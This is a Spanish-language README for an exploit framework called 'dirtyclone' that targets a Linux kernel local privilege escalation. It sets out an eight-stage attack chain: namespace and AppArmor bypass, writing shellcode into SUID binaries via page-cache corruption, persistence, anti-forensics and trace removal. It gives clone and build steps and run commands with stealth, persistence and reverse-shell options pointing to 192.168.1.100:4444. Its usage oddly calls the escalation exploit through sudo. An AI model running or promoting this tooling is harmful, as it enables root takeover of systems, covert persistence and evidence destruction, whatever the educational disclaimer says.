
CVE-2026-46331 — Escalada de privilegios local en el kernel de Linux por corrupción de caché de página en TC pedit + IPsec TEE · Kernels afectados: ≤ 6.12.9
CVE-2026-46331 — Escalada de Privilegios Local en el Kernel de Linux Corrupción de Caché de Página TC pedit + IPsec TEE · Kernels afectados: ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · SOLO PARA INVESTIGACIÓN Y EDUCACIÓN║
╚═══════════════════════════════════════════════════════════════╝
⚠️ SOLO CON FINES EDUCATIVOS Y DE INVESTIGACIÓN Utilice este framework exclusivamente en entornos de laboratorio aislados que le pertenezcan o sobre los que tenga autorización explícita por escrito para realizar pruebas. El uso no autorizado es ilegal y no ético.
CVE-2026-46331 es una vulnerabilidad de escalada de privilegios local en el kernel de Linux (≤ 6.12.9) causada por una condición de carrera entre la acción pedit de TC (cls_act) y la duplicación de paquetes basada en IPsec TEE.
Cuando un paquete atraviesa la ruta de salida de TC con una acción pedit que establece IHL = 15, el subsistema IPsec del kernel recibe un paquete malformado donde el desplazamiento de carga útil IP calculado excede los límites reales del paquete. Bajo operaciones concurrentes de sendfile(2), este desajuste permite que un usuario no privilegiado (dentro de un espacio de nombres de usuario con CAP_NET_ADMIN) corrompa entradas de caché de página de solo lectura de archivos arbitrarios, incluidos binarios SUID.
| Propiedad | Valor |
|---|---|
| Puntuación CVSS 3.1 | 8.8 (ALTA) |
| Vector de Ataque | Local |
| Privilegios Requeridos | Bajo (usuario no privilegiado) |
| Impacto | Shell root (UID=0 EUID=0) |
| Versiones afectadas | Kernel Linux ≤ 6.12.9 |
| Versión parcheada | 6.12.10 |
| Commit del parche | a3f4d1c8... |
Usuario No Privilegiado (UID=1000)
│
▼
[1] Reconocimiento
├─ Verificación de versión del kernel
├─ Disponibilidad de userns
└─ Perfilado del binario objetivo
│
▼
[2] Bypass de Espacio de Nombres
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ Salto de perfil AppArmor (fallback)
└─ CAP_NET_ADMIN adquirido
│
▼
[3] Infraestructura de Red
├─ clsact qdisc en lo
├─ filtro pedit (IHL=15)
└─ ESP IPsec + TEE
│
▼
[4] Corrupción de Caché de Página
├─ sendfile → disparo de pedit
├─ Entrada de caché de página corrompida
└─ Shellcode escrito en binario de solo lectura
│
▼
[5] Escalada de Privilegios
└─ execve(binario SUID) → shell root
│
▼
[6-8] Post-Explotación
├─ Persistencia (6 mecanismos)
├─ Evasión / Anti-forense
└─ Limpieza de rastros
│
▼
🎯 SHELL ROOT (UID=0 EUID=0)
dirtyclone-exploit/
├── Makefile # Sistema de compilación
├── README.md # Este archivo
├── LICENSE # Licencia MIT
│
├── include/
│ ├── exploit.h # Tipos, flags, prototipos principales
│ ├── packet_engine.h # API del motor de creación de paquetes
│ ├── memory_ops.h # API de corrupción de caché de página
│ └── persistence.h # API de mecanismos de persistencia
│
├── src/
│ ├── main.c # Punto de entrada del framework
│ ├── stage_env_analysis.c # Fase 1: Reconocimiento
│ ├── stage_namespace_bypass.c # Fase 2: Bypass de userns
│ ├── stage_network_setup.c # Fase 3: Configuración de TC/IPsec
│ ├── stage_page_cache_corrupt.c # Fase 4: Exploit principal
│ ├── stage_privilege_escalation.c # Fase 5: LPE
│ ├── stage_persistence.c # Fase 6: Persistencia
│ ├── stage_evasion.c # Fase 7: Anti-forense
│ ├── stage_cleanup.c # Fase 8: Eliminación de rastros
│ ├── memory_ops.c # Primitivas de caché de página
│ ├── packet_engine.c # Creación de paquetes sin procesar
│ └── persistence.c # Implementaciones de persistencia
│
├── modules/
│ ├── packet_craft.py # Creador de paquetes Python (Scapy)
│ └── exploit_analyzer.py # Herramienta de análisis previo al exploit
│
├── scripts/
│ ├── setup_env.sh # Instalación de dependencias + compilación
│ ├── cleanup.sh # Limpieza del sistema
│ └── detect_targets.sh # Escáner de binarios vulnerables
│
└── payloads/
└── README.md # Información del directorio de payloads
gcc ≥ 10makelibcap-dev / libcap-develiproute2 (tc, ip)iptablespip install scapy
# Clonar
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Configuración automática (instala dependencias + compila)
sudo bash scripts/setup_env.sh
# Compilación manual
make all
# Compilación debug
make debug
# Limpiar
make clean
# Mostrar ayuda
./bin/dirtyclone --help
# Ejecución en seco (solo análisis, sin explotación)
./bin/dirtyclone --test
# Explotación básica (objetivo por defecto: /usr/bin/su)
sudo ./bin/dirtyclone
# Objetivo personalizado con sigilo + persistencia
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# Shell inversa
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# Detectar objetivos vulnerables primero
bash scripts/detect_targets.sh
exploit_analyzer.py — Reconocimiento Previo al Exploit# Analizar objetivo por defecto
python3 modules/exploit_analyzer.py
# Objetivo personalizado
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# Salida JSON para automatización
python3 modules/exploit_analyzer.py --json
# Escanear todos los binarios SUID
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — Disparo de Paquetes Sin Procesar# Enviar paquetes de exploit en el offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234
# Interfaz personalizada y cantidad de paquetes
sudo python3 modules/packet_craft.py --iface eth0 --count 20